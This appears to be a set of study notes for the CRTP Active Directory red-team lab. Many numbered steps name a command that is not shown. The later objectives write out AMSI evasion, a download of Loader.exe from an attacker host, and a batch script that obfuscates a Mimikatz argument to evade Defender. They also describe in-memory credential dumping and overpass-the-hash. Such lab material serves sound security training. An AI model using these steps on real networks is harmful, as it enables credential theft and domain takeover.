CRTP Command Checklists
CRTP Command Checklists
-Users
-Computers
-Domain Administrators
-Enterprise Administrators
____________________
| *~> represents commands to run |
(1) To list a specific property of all the users, we can use the select-object (or
its alias select) cmdlet. For example, to list only the samaccountname run the
following command
(2) Now, to enumerate member computers in the domain we can use Get-DomainComputer:
(3) To list a specific property of all the users, we can use the select-object (or
its alias select) cmdlet. For example, to list only the samaccountname run the
following command:
(4) To see details of the Domain Admins group:
(5) To enumerate members of the Domain Admins group:
(6) Get-DomainGroupMember -Identity "Enterprise Admins"
(7) Since, this is not a root domain, the above command will return nothing. We
need to query the root domain as Enterprise Admins group is present only in the
root of a forest.
___________________________________________________________________________________
(1) To list all the OUs, run the below command after bypassing AMSI and loading
PowerView
(2) To see just the names of the OUs:
(3) Now, to list all the computers in the StudentsMachines OU:
(4) Command to list the GPOs. Note the name (not displayname) of group policies may
be different in your lab instance
(5) Enumerate GPO applied on the StudentMachines OU, we need to copy a part of the
gplink attribute from the output of the below command
(6) Now, copy the highlighted string from above (no square brackets, no semicolon
and nothing after semicolon) and use the it
(7) It is possible to hack both the commands together in a single command
(profiting from the static length for GUIDs):
___________________________________________________________________________________
Objective4:
Objective5:
-Exploit a service on dcorp-studentx and elevate privileges to local administrator.
-Identify a machine in the domain where studentx has local administrative access.
-Using privileges of a user on Jenkins on 172.16.3.11:8080, get admin privileges on
172.16.3.11 - the dcorp-ci server.
_____________________________
*first run these
~> C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
~> . C:\AD\Tools\PowerUp.ps1
~> Invoke-AllChecks
(1) Let's use the abuse function for Invoke-ServiceAbuse and add our current domain
user to the local Administrators group.
(2) Now for the next task, to identify a machine in the domain where studentx has
local administrative access use Find-PSRemotingLocalAdminAccess.ps1
(3) So, studentx has administrative access on dcorp-adminsrv and on the student
machine. We can connect to dcorp-adminsrv using winrs as the student user
# The scripts above are what we use to leverage a reverse shell (in this case we
are abusing misconfiguredJenkins instance)
____________________________________________________________________________
Objective6:
-Setup BloodHound and identify shortest path to Domain Admins in the dollarcorp
domain
________________
*Bloodhound uses neo4j; exit BH once you have stopped using it as it uses good
amount of RAM. You may also like to stop the neo4j service if you are not using
BloodHound
_________________________________________________________________________________
Objective 7:
# *Note that we are using the first two commands to avoid detection, the commands
(1) & (2) allow us to run scripts like PowerView to locate useful information; in
this case we are using Powerview to check for DA sessions in the target domain
# *Avoiding detection is the purpose that InviShell served up until now
# *We would now run SafetyKatz.exe on dcorp-mgmt to extract credentials from it.
For that, we need to copy Loader.exe on dcorp-mgmt. Let's download Loader.exe on
dcorp-ci and copy it from there to dcorp-mgmt. This is to avoid any downloading
activity on dcorp-mgmt.
~> iwr http://<OurIP>/Loader.exe -OutFile C:\Users\Public\Loader.exe (1)
~> echo F | xcopy C:\Users\Public\Loader.exe \\<UserDomain>\C$\Users\Public\
Loader.exe
# *dcorpci (UserDomain) > req sent to DC to retrieve all computer names and
memberships of the DA group > The request is sent out to every machine in the
domain
# *Never save or run anything from any of the temp directories as that is very
"loud"
# *Note that Windows Defender on dcorp-mgmt (UserDomain) would detect SafetKatz
execution even when used with Loader. To avoid that, let's pass encoded arguments
to the Loader
```
# [!] Argument Limit: 180 characters
[+] Enter a string: sekurlsa::ekeys
set "z=s"
set "y=y"
set "x=e"
set "w=k"
set "v=e"
set "u=:"
set "t=:"
set "s=a"
set "r=s"
set "q=l"
set "p=r"
set "o=u"
set "n=k"
set "m=e"
set "l=s"
set "Pwn=%l%%m%%n%%o%%p%%q%%r%%s%%t%%u%%v%%w%%x%%y%%z%"
```
(1) Download the batch file on dcorp-ci. Run the below commands on the reverse
shell
(2) Now, copy the Safety.bat to dcorp-mgmt: (target_UserDomain)
(3) Run Safety.bat on dcorp-mgmt (target_UserDomain) that use Loader.exe to
download and execute SafetyKatz.exe in-memory on dcorp-mgmt:
#SWEET!! We Found Domain Admin creds thanks to the output "aes256_hmac" which
should appear to be an alpha-numeric code
#Next We will be using the Overpass the hash to start a session on the domain
controller using the Domain Admins creds we just found.